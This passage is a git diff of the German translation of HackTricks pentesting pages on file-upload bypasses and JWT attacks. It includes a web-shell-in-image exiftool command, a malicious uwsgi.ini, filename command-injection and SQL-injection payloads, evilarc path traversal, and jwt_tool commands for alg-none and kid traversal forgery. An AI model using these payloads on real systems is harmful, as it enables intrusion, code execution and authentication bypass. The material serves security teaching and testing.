AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA -# Machen Sie die Payload +# Erstelle die Payload AAA<--SNIP 232 A-->AAA.php.png ``` ### Umgehung von Content-Type, Magic Number, Kompression & Größenänderung -* Umgehen Sie die **Content-Type**-Überprüfungen, indem Sie den **Wert** des **Content-Type**-**Headers** auf: _image/png_, _text/plain_, application/octet-stream_ setzen. +* Umgehung der **Content-Type**-Überprüfungen, indem der **Wert** des **Content-Type** **Headers** auf: _image/png_, _text/plain_, application/octet-stream gesetzt wird. 1. Content-Type **Wortliste**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt) -* Umgehen Sie die **Magic Number**-Überprüfung, indem Sie am Anfang der Datei die **Bytes eines echten Bildes** hinzufügen (verwirren Sie den _file_-Befehl). Oder führen Sie die Shell in die **Metadaten** ein:\ +* Umgehung der **Magic Number**-Überprüfung, indem am Anfang der Datei die **Bytes eines echten Bildes** hinzugefügt werden (verwirre den _file_ Befehl). Oder führe die Shell in die **Metadaten** ein:\ `exiftool -Comment="' >> img.png` -* Wenn **Kompression** zu Ihrem Bild hinzugefügt wird, z.B. mit einigen Standard-PHP-Bibliotheken wie [PHP-GD](https://www.php.net/manual/fr/book.image.php), sind die vorherigen Techniken nicht nützlich. Sie könnten jedoch die **PLTE-Chunks** [**Technik hier definiert**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) verwenden, um etwas Text einzufügen, der **Kompression übersteht**. -* [**Github mit dem Code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php) -* Die Webseite könnte auch das **Bild** **verkleinern**, z.B. mit den PHP-GD-Funktionen `imagecopyresized` oder `imagecopyresampled`. Sie könnten jedoch die **IDAT-Chunks** [**Technik hier definiert**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) verwenden, um etwas Text einzufügen, der **Kompression übersteht**. -* [**Github mit dem Code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php) -* Eine weitere Technik, um eine Payload zu erstellen, die **eine Größenänderung eines Bildes übersteht**, ist die Verwendung der PHP-GD-Funktion `thumbnailImage`. Sie könnten jedoch die **tEXt-Chunks** [**Technik hier definiert**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) verwenden, um etwas Text einzufügen, der **Kompression übersteht**. -* [**Github mit dem Code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php) +* Wenn **Kompression zu deinem Bild hinzugefügt wird**, zum Beispiel mit einigen Standard-PHP-Bibliotheken wie [PHP-GD](https://www.php.net/manual/fr/book.image.php), werden die vorherigen Techniken nicht nützlich sein. Du könntest jedoch die **PLTE-Chunks** [**Technik hier definiert**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) verwenden, um etwas Text einzufügen, der **Kompression übersteht**. +* [**Github mit dem Code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_plte\_png.php) +* Die Webseite könnte auch das **Bild** **verkleinern**, indem sie beispielsweise die PHP-GD-Funktionen `imagecopyresized` oder `imagecopyresampled` verwendet. Du könntest jedoch die **IDAT-Chunks** [**Technik hier definiert**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) verwenden, um etwas Text einzufügen, der **Kompression übersteht**. +* [**Github mit dem Code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_idat\_png.php) +* Eine weitere Technik, um eine Payload zu erstellen, die **eine Größenänderung eines Bildes übersteht**, verwendet die PHP-GD-Funktion `thumbnailImage`. Du könntest jedoch die **tEXt-Chunks** [**Technik hier definiert**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) verwenden, um etwas Text einzufügen, der **Kompression übersteht**. +* [**Github mit dem Code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen\_tEXt\_png.php) ### Weitere Tricks zur Überprüfung -* Finden Sie eine Schwachstelle, um die Datei, die bereits hochgeladen wurde, **umzubenennen** (um die Erweiterung zu ändern). -* Finden Sie eine **Local File Inclusion**-Schwachstelle, um die Hintertür auszuführen. +* Finde eine Schwachstelle, um die bereits hochgeladene Datei **umzubenennen** (um die Erweiterung zu ändern). +* Finde eine **Local File Inclusion**-Schwachstelle, um die Hintertür auszuführen. * **Mögliche Informationsoffenlegung**: -1. Laden Sie die **gleiche Datei** **mehrmals** (und zur **gleichen Zeit**) mit dem **gleichen Namen** hoch. -2. Laden Sie eine Datei mit dem **Namen** einer **Datei** oder **Ordners**, der **bereits existiert**. -3. Laden Sie eine Datei mit **“.”, “..” oder “…” als Namen** hoch. Zum Beispiel, in Apache in **Windows**, wenn die Anwendung die hochgeladenen Dateien im Verzeichnis “/www/uploads/” speichert, wird der Dateiname “.” eine Datei namens “uploads” im Verzeichnis “/www/” erstellen. -4. Laden Sie eine Datei hoch, die möglicherweise nicht leicht gelöscht werden kann, wie **“…:.jpg”** in **NTFS**. (Windows) -5. Laden Sie eine Datei in **Windows** mit **ungültigen Zeichen** wie `|<>*?”` in ihrem Namen hoch. (Windows) -6. Laden Sie eine Datei in **Windows** mit **reservierten** (**verbotenen**) **Namen** wie CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 und LPT9 hoch. -* Versuchen Sie auch, eine **ausführbare Datei** (.exe) oder eine **.html** (weniger verdächtig) hochzuladen, die **Code ausführt**, wenn sie versehentlich von dem Opfer geöffnet wird. +1. Lade die **gleiche Datei** **mehrmals** (und zur **gleichen Zeit**) mit dem **gleichen Namen** hoch. +2. Lade eine Datei mit dem **Namen** einer **Datei** oder **Ordners**, der **bereits existiert**. +3. Lade eine Datei mit **“.”, “..” oder “…” als Namen** hoch. Zum Beispiel, in Apache in **Windows**, wenn die Anwendung die hochgeladenen Dateien im Verzeichnis “/www/uploads/” speichert, wird der Dateiname “.” eine Datei namens “uploads” im Verzeichnis “/www/” erstellen. +4. Lade eine Datei hoch, die möglicherweise nicht leicht gelöscht werden kann, wie **“…:.jpg”** in **NTFS**. (Windows) +5. Lade eine Datei in **Windows** mit **ungültigen Zeichen** wie `|<>*?”` in ihrem Namen hoch. (Windows) +6. Lade eine Datei in **Windows** mit **reservierten** (**verbotenen**) **Namen** wie CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 und LPT9 hoch. +* Versuche auch, eine **ausführbare Datei** (.exe) oder eine **.html** (weniger verdächtig) hochzuladen, die **Code ausführt**, wenn sie versehentlich vom Opfer geöffnet wird. ### Besondere Erweiterungstricks -Wenn Sie versuchen, Dateien auf einen **PHP-Server** hochzuladen, [sehen Sie sich den **.htaccess**-Trick an, um Code auszuführen](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\ -Wenn Sie versuchen, Dateien auf einen **ASP-Server** hochzuladen, [sehen Sie sich den **.config**-Trick an, um Code auszuführen](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files). +Wenn du versuchst, Dateien auf einen **PHP-Server** hochzuladen, [schau dir den **.htaccess**-Trick an, um Code auszuführen](https://book.hacktricks.xyz/pentesting/pentesting-web/php-tricks-esp#code-execution-via-httaccess).\ +Wenn du versuchst, Dateien auf einen **ASP-Server** hochzuladen, [schau dir den **.config**-Trick an, um Code auszuführen](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files). Die `.phar`-Dateien sind wie die `.jar` für Java, aber für PHP, und können **wie eine PHP-Datei verwendet werden** (indem sie mit PHP ausgeführt oder in ein Skript eingebunden werden...) @@ -117,17 +117,17 @@ Die `.inc`-Erweiterung wird manchmal für PHP-Dateien verwendet, die nur zum **I ## **Jetty RCE** -Wenn Sie eine XML-Datei auf einen Jetty-Server hochladen können, können Sie [RCE erhalten, weil **neue \*.xml und \*.war automatisch verarbeitet werden**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Laden Sie also, wie im folgenden Bild erwähnt, die XML-Datei in `$JETTY_BASE/webapps/` hoch und erwarten Sie die Shell! +Wenn du eine XML-Datei auf einen Jetty-Server hochladen kannst, kannst du [RCE erhalten, weil **neue \*.xml und \*.war automatisch verarbeitet werden**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Wie im folgenden Bild erwähnt, lade die XML-Datei in `$JETTY_BASE/webapps/` hoch und erwarte die Shell! ![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../.gitbook/assets/image (1047).png>) ## **uWSGI RCE** -Für eine detaillierte Untersuchung dieser Schwachstelle überprüfen Sie die ursprüngliche Forschung: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html). +Für eine detaillierte Untersuchung dieser Schwachstelle siehe die ursprüngliche Forschung: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html). -Remote Command Execution (RCE) Schwachstellen können in uWSGI-Servern ausgenutzt werden, wenn man die Möglichkeit hat, die `.ini`-Konfigurationsdatei zu ändern. uWSGI-Konfigurationsdateien verwenden eine spezifische Syntax, um "magische" Variablen, Platzhalter und Operatoren einzufügen. Besonders bemerkenswert ist der '@'-Operator, der als `@(dateiname)` verwendet wird, um den Inhalt einer Datei einzufügen. Unter den verschiedenen unterstützten Schemas in uWSGI ist das "exec"-Schema besonders mächtig, da es das Lesen von Daten aus dem Standardausgang eines Prozesses ermöglicht. Diese Funktion kann für böswillige Zwecke wie Remote Command Execution oder Arbitrary File Write/Read manipuliert werden, wenn eine `.ini`-Konfigurationsdatei verarbeitet wird. +Remote Command Execution (RCE) Schwachstellen können in uWSGI-Servern ausgenutzt werden, wenn man die Fähigkeit hat, die `.ini`-Konfigurationsdatei zu ändern. uWSGI-Konfigurationsdateien nutzen eine spezifische Syntax, um "magische" Variablen, Platzhalter und Operatoren einzufügen. Besonders der '@'-Operator, der als `@(dateiname)` verwendet wird, ist dafür gedacht, den Inhalt einer Datei einzufügen. Unter den verschiedenen unterstützten Schemas in uWSGI ist das "exec"-Schema besonders mächtig, da es das Lesen von Daten aus dem Standardausgang eines Prozesses ermöglicht. Diese Funktion kann für böswillige Zwecke wie Remote Command Execution oder Arbitrary File Write/Read manipuliert werden, wenn eine `.ini`-Konfigurationsdatei verarbeitet wird. -Betrachten Sie das folgende Beispiel einer schädlichen `uwsgi.ini`-Datei, die verschiedene Schemas zeigt: +Betrachte das folgende Beispiel einer schädlichen `uwsgi.ini`-Datei, die verschiedene Schemas zeigt: ```ini [uwsgi] ; read from a symbol @@ -175,7 +175,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[============================================= 2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10] ``` -Beachten Sie, dass **eine andere Option**, an die Sie denken könnten, um diese Überprüfung zu umgehen, darin besteht, den **HTTP-Server auf eine andere Datei umzuleiten**, sodass die ursprüngliche URL die Überprüfung umgeht und wget die umgeleitete Datei mit dem neuen Namen herunterlädt. Dies **funktioniert nicht** **es sei denn**, wget wird mit dem **Parameter** `--trust-server-names` verwendet, da **wget die umgeleitete Seite mit dem Namen der Datei herunterlädt, die in der ursprünglichen URL angegeben ist**. +Beachten Sie, dass **eine andere Option**, an die Sie denken könnten, um diese Überprüfung zu umgehen, darin besteht, den **HTTP-Server auf eine andere Datei umzuleiten**, sodass die ursprüngliche URL die Überprüfung umgeht und wget die umgeleitete Datei mit dem neuen Namen herunterlädt. Dies **funktioniert nicht** **es sei denn**, wget wird mit dem **Parameter** `--trust-server-names` verwendet, da **wget die umgeleitete Seite mit dem Namen der Datei herunterlädt, der in der ursprünglichen URL angegeben ist**. ## Tools @@ -185,7 +185,7 @@ Beachten Sie, dass **eine andere Option**, an die Sie denken könnten, um diese * Setzen Sie **filename** auf `../../../tmp/lol.png` und versuchen Sie, eine **Pfad Traversierung** zu erreichen. * Setzen Sie **filename** auf `sleep(10)-- -.jpg` und Sie könnten in der Lage sein, eine **SQL-Injection** zu erreichen. -* Setzen Sie **filename** auf ``, um eine XSS zu erreichen. +* Setzen Sie **filename** auf ``, um ein XSS zu erreichen. * Setzen Sie **filename** auf `; sleep 10;`, um einige Befehlsinjektionen zu testen (mehr [Befehlsinjektions-Tricks hier](../command-injection.md)). * [**XSS** im Bild (svg) Datei-Upload](../xss-cross-site-scripting/#xss-uploading-files-svg) * **JS** Datei **Upload** + **XSS** = [**Service Workers** Ausnutzung](../xss-cross-site-scripting/#xss-abusing-service-workers) @@ -193,7 +193,7 @@ Beachten Sie, dass **eine andere Option**, an die Sie denken könnten, um diese * [**Open Redirect** durch Hochladen einer svg-Datei](../open-redirect.md#open-redirect-uploading-svg-files) * Versuchen Sie **verschiedene svg Payloads** von [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\* * [Berühmte **ImageTrick** Schwachstelle](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/) -* Wenn Sie **den Webserver anweisen können, ein Bild von einer URL abzurufen**, könnten Sie versuchen, eine [SSRF](../ssrf-server-side-request-forgery/) auszunutzen. Wenn dieses **Bild** auf einer **öffentlichen** Seite **gespeichert** wird, könnten Sie auch eine URL von [https://iplogger.org/invisible/](https://iplogger.org/invisible/) angeben und **Informationen von jedem Besucher stehlen**. +* Wenn Sie **den Webserver anweisen können, ein Bild von einer URL abzurufen**, könnten Sie versuchen, einen [SSRF](../ssrf-server-side-request-forgery/) auszunutzen. Wenn dieses **Bild** auf einer **öffentlichen** Seite **gespeichert** wird, könnten Sie auch eine URL von [https://iplogger.org/invisible/](https://iplogger.org/invisible/) angeben und **Informationen von jedem Besucher stehlen**. * [**XXE und CORS** Umgehung mit PDF-Adobe Upload](pdf-upload-xxe-and-cors-bypass.md) * Speziell gestaltete PDFs für XSS: Die [folgende Seite zeigt, wie man **PDF-Daten injiziert, um JS-Ausführung zu erhalten**](../xss-cross-site-scripting/pdf-injection.md). Wenn Sie PDFs hochladen können, könnten Sie einige PDFs vorbereiten, die beliebiges JS ausführen, gemäß den gegebenen Anweisungen. * Laden Sie den \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) Inhalt hoch, um zu überprüfen, ob der Server ein **Antivirus** hat. @@ -235,11 +235,11 @@ ln -s ../../../index.php symindex.txt zip --symlinks test.zip symindex.txt tar -cvf test.tar symindex.txt ``` -### Decompress in different folders +### Dekomprimieren in verschiedenen Ordnern Die unerwartete Erstellung von Dateien in Verzeichnissen während der Dekompression ist ein erhebliches Problem. Trotz anfänglicher Annahmen, dass dieses Setup möglicherweise gegen die Ausführung von OS-Befehlen durch bösartige Datei-Uploads schützen könnte, können die hierarchische Unterstützung für Kompression und die Verzeichnisdurchquerungsfähigkeiten des ZIP-Archivformats ausgenutzt werden. Dies ermöglicht Angreifern, Einschränkungen zu umgehen und sichere Upload-Verzeichnisse zu verlassen, indem sie die Dekompressionsfunktionalität der angegriffenen Anwendung manipulieren. -Ein automatisierter Exploit zum Erstellen solcher Dateien ist verfügbar unter [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Das Dienstprogramm kann wie folgt verwendet werden: +Ein automatisierter Exploit zum Erstellen solcher Dateien ist verfügbar unter [**evilarc auf GitHub**](https://github.com/ptoomey3/evilarc). Das Dienstprogramm kann wie folgt verwendet werden: ```python # Listing available options python2 evilarc.py -h @@ -304,19 +304,19 @@ pop graphic-context ``` ## Einbetten einer PHP-Shell in PNG -Das Einbetten einer PHP-Shell im IDAT-Chunk einer PNG-Datei kann bestimmte Bildverarbeitungsoperationen effektiv umgehen. Die Funktionen `imagecopyresized` und `imagecopyresampled` aus PHP-GD sind in diesem Zusammenhang besonders relevant, da sie häufig zum Verkleinern und Resampling von Bildern verwendet werden. Die Fähigkeit der eingebetteten PHP-Shell, von diesen Operationen unberührt zu bleiben, ist ein erheblicher Vorteil für bestimmte Anwendungsfälle. +Das Einbetten einer PHP-Shell im IDAT-Chunk einer PNG-Datei kann bestimmte Bildverarbeitungsoperationen effektiv umgehen. Die Funktionen `imagecopyresized` und `imagecopyresampled` aus PHP-GD sind in diesem Zusammenhang besonders relevant, da sie häufig zum Verkleinern und Resampeln von Bildern verwendet werden. Die Fähigkeit der eingebetteten PHP-Shell, von diesen Operationen unberührt zu bleiben, ist ein erheblicher Vorteil für bestimmte Anwendungsfälle. -Eine detaillierte Untersuchung dieser Technik, einschließlich ihrer Methodik und potenziellen Anwendungen, wird im folgenden Artikel bereitgestellt: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Diese Ressource bietet ein umfassendes Verständnis des Prozesses und seiner Implikationen. +Eine detaillierte Erkundung dieser Technik, einschließlich ihrer Methodik und potenziellen Anwendungen, wird im folgenden Artikel bereitgestellt: ["Encoding Web Shells in PNG IDAT chunks"](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/). Diese Ressource bietet ein umfassendes Verständnis des Prozesses und seiner Implikationen. Weitere Informationen unter: [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) ## Polyglot-Dateien -Polyglot-Dateien dienen als einzigartiges Werkzeug in der Cybersicherheit und fungieren als Chamäleons, die gleichzeitig in mehreren Dateiformaten gültig existieren können. Ein faszinierendes Beispiel ist ein [GIFAR](https://en.wikipedia.org/wiki/Gifar), ein Hybrid, der sowohl als GIF als auch als RAR-Archiv funktioniert. Solche Dateien sind nicht auf diese Kombination beschränkt; auch Kombinationen wie GIF und JS oder PPT und JS sind möglich. +Polyglot-Dateien dienen als einzigartiges Werkzeug in der Cybersicherheit und fungieren als Chamäleons, die gleichzeitig in mehreren Dateiformaten gültig existieren können. Ein faszinierendes Beispiel ist ein [GIFAR](https://en.wikipedia.org/wiki/Gifar), ein Hybrid, der sowohl als GIF als auch als RAR-Archiv funktioniert. Solche Dateien sind nicht auf diese Kombination beschränkt; Kombinationen wie GIF und JS oder PPT und JS sind ebenfalls möglich. -Der Hauptnutzen von Polyglot-Dateien liegt in ihrer Fähigkeit, Sicherheitsmaßnahmen zu umgehen, die Dateien basierend auf ihrem Typ überprüfen. In verschiedenen Anwendungen ist es gängige Praxis, nur bestimmte Dateitypen für den Upload zuzulassen—wie JPEG, GIF oder DOC—um das Risiko potenziell schädlicher Formate (z. B. JS, PHP oder Phar-Dateien) zu mindern. Ein Polyglot kann jedoch, indem es den strukturellen Kriterien mehrerer Dateitypen entspricht, diese Einschränkungen heimlich umgehen. +Der Hauptnutzen von Polyglot-Dateien liegt in ihrer Fähigkeit, Sicherheitsmaßnahmen zu umgehen, die Dateien basierend auf ihrem Typ überprüfen. Übliche Praktiken in verschiedenen Anwendungen erlauben nur bestimmte Dateitypen zum Hochladen—wie JPEG, GIF oder DOC—um das Risiko potenziell schädlicher Formate (z. B. JS, PHP oder Phar-Dateien) zu mindern. Ein Polyglot kann jedoch, indem es den strukturellen Kriterien mehrerer Dateitypen entspricht, diese Einschränkungen heimlich umgehen. -Trotz ihrer Anpassungsfähigkeit stoßen Polyglots auf Einschränkungen. Zum Beispiel könnte der Erfolg des Uploads eines Polyglots, das gleichzeitig eine PHAR-Datei (PHp ARchive) und ein JPEG verkörpert, von den Richtlinien der Plattform bezüglich der Dateiendungen abhängen. Wenn das System strenge Vorgaben für zulässige Erweiterungen hat, könnte die bloße strukturelle Dualität eines Polyglots nicht ausreichen, um seinen Upload zu garantieren. +Trotz ihrer Anpassungsfähigkeit stoßen Polyglots auf Einschränkungen. Zum Beispiel könnte der Erfolg des Hochladens eines Polyglots, das gleichzeitig eine PHAR-Datei (PHp ARchive) und ein JPEG verkörpert, von den Richtlinien der Plattform bezüglich der Dateiendungen abhängen. Wenn das System strenge Vorgaben zu zulässigen Erweiterungen hat, könnte die bloße strukturelle Dualität eines Polyglots nicht ausreichen, um sein Hochladen zu garantieren. Weitere Informationen unter: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) @@ -329,7 +329,7 @@ Weitere Informationen unter: [https://medium.com/swlh/polyglot-files-a-hackers-b * [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/) * [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) -
+
Wenn Sie an einer **Hacking-Karriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließend Polnisch in Wort und Schrift erforderlich_). @@ -341,7 +341,7 @@ Lernen & üben Sie GCP Hacking: -Unterstützen Sie HackTricks +HackTricks unterstützen * Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! * **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** diff --git a/pentesting-web/hacking-jwt-json-web-tokens.md b/pentesting-web/hacking-jwt-json-web-tokens.md index 5cb8df5bf..b8d8dea6e 100644 --- a/pentesting-web/hacking-jwt-json-web-tokens.md +++ b/pentesting-web/hacking-jwt-json-web-tokens.md @@ -15,9 +15,9 @@ Lernen & üben Sie GCP Hacking: {% endhint %} -
+
-Wenn Sie an einer **Hacking-Karriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließendes Polnisch in Wort und Schrift erforderlich_). +Wenn Sie an einer **Hacking-Karriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließend Polnisch in Wort und Schrift erforderlich_). {% embed url="https://www.stmcyber.com/careers" %} @@ -69,16 +69,16 @@ Es ist wichtig zu bestimmen, ob das Token serverseitig oder clientseitig generie [**Siehe diese Seite.**](../generic-methodologies-and-resources/brute-force.md#jwt) -### Ändern Sie den Algorithmus auf None +### Algorithmus auf None ändern Setzen Sie den verwendeten Algorithmus auf "None" und entfernen Sie den Signaturteil. -Verwenden Sie die Burp-Erweiterung "JSON Web Token", um diese Schwachstelle auszuprobieren und verschiedene Werte innerhalb des JWT zu ändern (senden Sie die Anfrage an Repeater und im Tab "JSON Web Token" können Sie die Werte des Tokens ändern. Sie können auch auswählen, den Wert des "Alg"-Feldes auf "None" zu setzen). +Verwenden Sie die Burp-Erweiterung mit dem Namen "JSON Web Token", um diese Schwachstelle auszuprobieren und verschiedene Werte innerhalb des JWT zu ändern (senden Sie die Anfrage an Repeater und im Tab "JSON Web Token" können Sie die Werte des Tokens ändern. Sie können auch auswählen, den Wert des "Alg"-Feldes auf "None" zu setzen). ### Ändern Sie den Algorithmus von RS256 (asymmetrisch) auf HS256 (symmetrisch) (CVE-2016-5431/CVE-2016-10555) Der Algorithmus HS256 verwendet den geheimen Schlüssel, um jede Nachricht zu signieren und zu verifizieren.\ -Der Algorithmus RS256 verwendet den privaten Schlüssel, um die Nachricht zu signieren, und den öffentlichen Schlüssel zur Authentifizierung. +Der Algorithmus RS256 verwendet den privaten Schlüssel, um die Nachricht zu signieren, und verwendet den öffentlichen Schlüssel zur Authentifizierung. Wenn Sie den Algorithmus von RS256 auf HS256 ändern, verwendet der Backend-Code den öffentlichen Schlüssel als geheimen Schlüssel und verwendet dann den HS256-Algorithmus, um die Signatur zu verifizieren. @@ -100,10 +100,10 @@ Die Anweisungen beschreiben eine Methode zur Bewertung der Sicherheit von JWT-To * **Bewertung von Tokens mit "jku"-Header**: * Überprüfen Sie die URL des "jku"-Anspruchs, um sicherzustellen, dass sie zur entsprechenden JWKS-Datei führt. -* Ändern Sie den "jku"-Wert des Tokens, um auf einen kontrollierten Webdienst zu verweisen, der die Beobachtung des Datenverkehrs ermöglicht. +* Ändern Sie den "jku"-Wert des Tokens, um auf einen kontrollierten Webdienst zu verweisen, um den Datenverkehr zu beobachten. * **Überwachung der HTTP-Interaktion**: * Die Beobachtung von HTTP-Anfragen an Ihre angegebene URL zeigt die Versuche des Servers, Schlüssel von Ihrem bereitgestellten Link abzurufen. -* Bei der Verwendung von `jwt_tool` für diesen Prozess ist es wichtig, die `jwtconf.ini`-Datei mit Ihrem persönlichen JWKS-Standort zu aktualisieren, um die Tests zu erleichtern. +* Bei der Verwendung von `jwt_tool` für diesen Prozess ist es wichtig, die Datei `jwtconf.ini` mit Ihrem persönlichen JWKS-Standort zu aktualisieren, um die Tests zu erleichtern. * **Befehl für `jwt_tool`**: * Führen Sie den folgenden Befehl aus, um das Szenario mit `jwt_tool` zu simulieren: @@ -113,23 +113,23 @@ python3 jwt_tool.py JWT_HERE -X s ### Übersicht über Kid-Probleme -Ein optionaler Headeranspruch, bekannt als `kid`, wird verwendet, um einen bestimmten Schlüssel zu identifizieren, was besonders wichtig in Umgebungen ist, in denen mehrere Schlüssel zur Überprüfung der Token-Signatur existieren. Dieser Anspruch hilft bei der Auswahl des geeigneten Schlüssels zur Überprüfung der Signatur eines Tokens. +Ein optionaler Headeranspruch, bekannt als `kid`, wird verwendet, um einen bestimmten Schlüssel zu identifizieren, was in Umgebungen, in denen mehrere Schlüssel zur Überprüfung der Token-Signatur vorhanden sind, besonders wichtig wird. Dieser Anspruch hilft bei der Auswahl des geeigneten Schlüssels zur Überprüfung der Signatur eines Tokens. -#### Schlüssel durch "kid" offenlegen +#### Offenlegung des Schlüssels durch "kid" Wenn der `kid`-Anspruch im Header vorhanden ist, wird empfohlen, das Webverzeichnis nach der entsprechenden Datei oder deren Variationen zu durchsuchen. Wenn beispielsweise `"kid":"key/12345"` angegeben ist, sollten die Dateien _/key/12345_ und _/key/12345.pem_ im Web-Stammverzeichnis gesucht werden. #### Pfad Traversierung mit "kid" -Der `kid`-Anspruch könnte auch ausgenutzt werden, um durch das Dateisystem zu navigieren, was möglicherweise die Auswahl einer beliebigen Datei ermöglicht. Es ist möglich, die Konnektivität zu testen oder Server-Side Request Forgery (SSRF)-Angriffe durchzuführen, indem der `kid`-Wert geändert wird, um gezielt bestimmte Dateien oder Dienste anzusprechen. Das Manipulieren des JWT, um den `kid`-Wert zu ändern und gleichzeitig die ursprüngliche Signatur beizubehalten, kann mit dem `-T`-Flag in jwt_tool erreicht werden, wie unten gezeigt: +Der `kid`-Anspruch könnte auch ausgenutzt werden, um durch das Dateisystem zu navigieren, was möglicherweise die Auswahl einer beliebigen Datei ermöglicht. Es ist möglich, die Konnektivität zu testen oder Server-Side Request Forgery (SSRF)-Angriffe durchzuführen, indem der `kid`-Wert geändert wird, um gezielt bestimmte Dateien oder Dienste anzusprechen. Das Manipulieren des JWT, um den `kid`-Wert zu ändern und gleichzeitig die ursprüngliche Signatur beizubehalten, kann mit dem `-T`-Flag in jwt\_tool erreicht werden, wie unten gezeigt: ```bash python3 jwt_tool.py -I -hc kid -hv "../../dev/null" -S hs256 -p "" ``` -Durch das Anvisieren von Dateien mit vorhersehbarem Inhalt ist es möglich, ein gültiges JWT zu fälschen. Zum Beispiel kann die Datei `/proc/sys/kernel/randomize_va_space` in Linux-Systemen, die bekannt dafür ist, den Wert **2** zu enthalten, im `kid`-Parameter mit **2** als symmetrischem Passwort für die JWT-Generierung verwendet werden. +Durch das Anvisieren von Dateien mit vorhersehbarem Inhalt ist es möglich, ein gültiges JWT zu fälschen. Zum Beispiel kann die Datei `/proc/sys/kernel/randomize_va_space` in Linux-Systemen, die den Wert **2** enthält, im `kid`-Parameter mit **2** als symmetrischem Passwort für die JWT-Generierung verwendet werden. #### SQL-Injection über "kid" -Wenn der Inhalt des `kid`-Anspruchs verwendet wird, um ein Passwort aus einer Datenbank abzurufen, könnte eine SQL-Injection ermöglicht werden, indem die `kid`-Payload modifiziert wird. Ein Beispiel für eine Payload, die SQL-Injection verwendet, um den JWT-Signierungsprozess zu ändern, ist: +Wenn der Inhalt des `kid`-Anspruchs verwendet wird, um ein Passwort aus einer Datenbank abzurufen, könnte eine SQL-Injection ermöglicht werden, indem die `kid`-Nutzlast modifiziert wird. Ein Beispiel für eine Nutzlast, die SQL-Injection verwendet, um den JWT-Signierungsprozess 